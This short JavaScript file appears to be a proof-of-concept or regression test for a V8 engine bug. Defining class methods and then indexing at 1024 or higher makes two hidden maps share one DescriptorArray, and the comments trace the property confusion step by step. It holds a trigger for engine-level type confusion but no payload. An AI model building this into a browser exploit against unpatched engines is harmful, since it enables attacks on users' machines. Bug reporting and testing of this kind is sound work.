class H {
    ['h']() {} // h now has map M1
}
let h = H.prototype.h;
// index has to be 1024 or greater, h transitions to map M2 with its backing
// store converted to a NumberDictionary, but M1 and M2 both own the same
// DescriptorArray, which is the bug.
h[1024] = 1337;

// Adding a property will cause h to transition to map M3, but M2 and M3 will
// still own the same DescriptorArray
h.a = 1.1;

// All of these properties are added to both M2 and M3
h.b = 1.1;
h.c = 1.1;

// 'b' has map M1. This map has the property 'a' in it, which is buggy.
// The property is not accessible (returns undefined).
class B {['a']() {}};
let b = B.prototype.a;

// After this line, b's map is M2. This map has all the above added properties
// in it ('a', 'b', and 'c').
b[1024] = 1337;